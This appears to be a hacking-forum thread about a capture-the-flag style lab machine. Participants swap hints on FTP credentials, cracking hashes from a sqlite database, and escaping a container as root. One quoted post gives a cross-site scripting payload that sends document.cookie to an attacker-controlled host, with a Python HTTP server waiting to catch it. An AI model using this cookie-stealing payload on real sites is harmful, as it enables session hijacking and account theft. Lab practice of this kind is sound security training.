Posts: 17
Threads: 0
Joined: Aug 2023
(04-28-2024, 01:42 PM)ConnorHack Wrote: You can just use this as description:
<img src=x onerror=fetch('http://10.10.X.X:8000/'+document.cookie);>
Wait listening with python3 -m http.server
---
I'm stucked now as root inside a container. Does anyone know how to breakout?
how can you get inside the container? i got password and login session but no idea..
Posts: 27
Threads: 0
Joined: Oct 2023
OK I managed to get a file listing from the ftp server, I am able to see 4 files, but every time I try to get a file I got an error, can I pm someone to verify what I am doing wrong?
Posts: 200
Threads: 14
Joined: Apr 2024
(04-28-2024, 02:05 PM)query1338 Wrote: OK I managed to get a file listing from the ftp server, I am able to see 4 files, but every time I try to get a file I got an error, can I pm someone to verify what I am doing wrong?
Bro what is ftp creds
Ban reason:
Asking for rep is not allowed (Permanent)
Posts: 27
Threads: 0
Joined: Oct 2023
(04-28-2024, 02:36 PM)osamy7593 Wrote: (04-28-2024, 02:05 PM)query1338 Wrote: OK I managed to get a file listing from the ftp server, I am able to see 4 files, but every time I try to get a file I got an error, can I pm someone to verify what I am doing wrong?
Bro what is ftp creds
you can find them by getting the pyhon files.
Posts: 11
Threads: 0
Joined: Oct 2023
(04-28-2024, 02:40 PM)query1338 Wrote: (04-28-2024, 02:36 PM)osamy7593 Wrote: (04-28-2024, 02:05 PM)query1338 Wrote: OK I managed to get a file listing from the ftp server, I am able to see 4 files, but every time I try to get a file I got an error, can I pm someone to verify what I am doing wrong?
Bro what is ftp creds
you can find them by getting the pyhon files.
Apart from app.py, which one?
Posts: 27
Threads: 0
Joined: Oct 2023
(04-28-2024, 02:55 PM)mur Wrote: (04-28-2024, 02:40 PM)query1338 Wrote: (04-28-2024, 02:36 PM)osamy7593 Wrote: (04-28-2024, 02:05 PM)query1338 Wrote: OK I managed to get a file listing from the ftp server, I am able to see 4 files, but every time I try to get a file I got an error, can I pm someone to verify what I am doing wrong?
Bro what is ftp creds
you can find them by getting the pyhon files.
Apart from app.py, which one?
the dashboard file
Posts: 27
Threads: 0
Joined: Oct 2023
any hints for root?
Got the user hashes from the sqlite db file, but I am unable to crack the hash for adam... If this is the way please tell me how to crack it.
Posts: 5
Threads: 0
Joined: Apr 2024
(04-28-2024, 03:30 PM)query1338 Wrote: any hints for root?
Got the user hashes from the sqlite db file, but I am unable to crack the hash for adam... If this is the way please tell me how to crack it.
I cracked the hash, but it seems like it is only usable for the reports page
Posts: 17
Threads: 0
Joined: Aug 2023
Posts: 5
Threads: 0
Joined: Apr 2024
once we have the ftp creds, what to do with them? I cant seem to connect to ftp, any hints?
|